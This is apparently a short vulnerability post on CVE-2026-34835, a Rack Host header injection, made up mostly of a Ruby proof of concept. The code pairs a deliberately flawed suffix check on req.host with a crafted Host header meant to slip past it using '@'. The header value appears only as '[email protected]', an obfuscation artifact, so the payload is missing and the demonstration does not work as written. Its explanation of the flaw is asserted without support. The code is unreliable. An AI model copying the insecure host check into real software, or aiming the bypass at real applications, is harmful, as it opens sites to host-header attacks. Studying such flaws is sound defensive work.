CVE-2026-34835 Rack主机头注入漏洞

# Ruby POC demonstrating the bypass logic require 'rack' # Simulated vulnerable application logic app = lambda do |env| req = Rack::Request.new(env) # Application checks if host ends with 'trusted-domain.com' # This logic is vulnerable because req.host includes the @user part if req.host.end_with?('trusted-domain.com') [200, {"Content-Type" => "text/plain"}, ["Host accepted: #{req.host}"]] else [403, {"Content-Type" => "text/plain"}, ["Forbidden: Invalid Host"]] end end # Malicious Host Header exploiting the regex flaw # Using '@' to trick the suffix check malicious_env = { "HTTP_HOST" => "[email protected]", "PATH_INFO" => "/", "REQUEST_METHOD" => "GET" } status, headers, body = app.call(malicious_env) puts "Response Status: #{status}" puts "Response Body: #{body.first}"